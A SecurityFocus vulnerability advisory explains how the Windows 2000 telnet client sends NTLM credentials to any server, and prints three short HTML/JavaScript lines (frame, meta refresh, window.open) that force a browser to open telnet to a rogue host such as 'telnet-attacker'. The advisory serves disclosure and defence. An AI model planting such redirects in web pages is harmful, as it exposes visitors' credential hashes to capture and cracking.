Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

Microsoft Windows 2000 telnet.exe NTLM Authentication Vulnerability

By default, the telnet client (telnet.exe) shipped with Microsoft Windows 2000 utilizes Windows NT Challenge/Response (NTLM) as an authentication method. When establishing a connection to a host, the telnet client will attempt authentication via NTLM, regardless of whether or not the host is a Windows telnet server or not. There is a possibility that the NTLM challenge/response authentication session could be monitored and subsequently cracked, which could lead to the disclosure of sensitive information such as usernames, passwords, domains, etc. The NTLM challenge/response protocol is known to be susceptible to brute-force cracking, as demonstrated in the tool "L0phtcrack."

Forcing a telnet session on a remote target is a trivial task because products such as Microsoft Internet Explorer, Outlook (Express), Netscape Navigator, etc. will automatically open URLs with a "telnet://" prefix in a default telnet client (which is normally telnet.exe). The following are some examples of how one could open a telnet session on a specified rogue server:

1) frame src=telnet://target


2) meta http-equiv="refresh" content="0;URL=telnet://telnet-attacker"


3) window.open("telnet://target")







 

Privacy Statement
Copyright 2009, SecurityFocus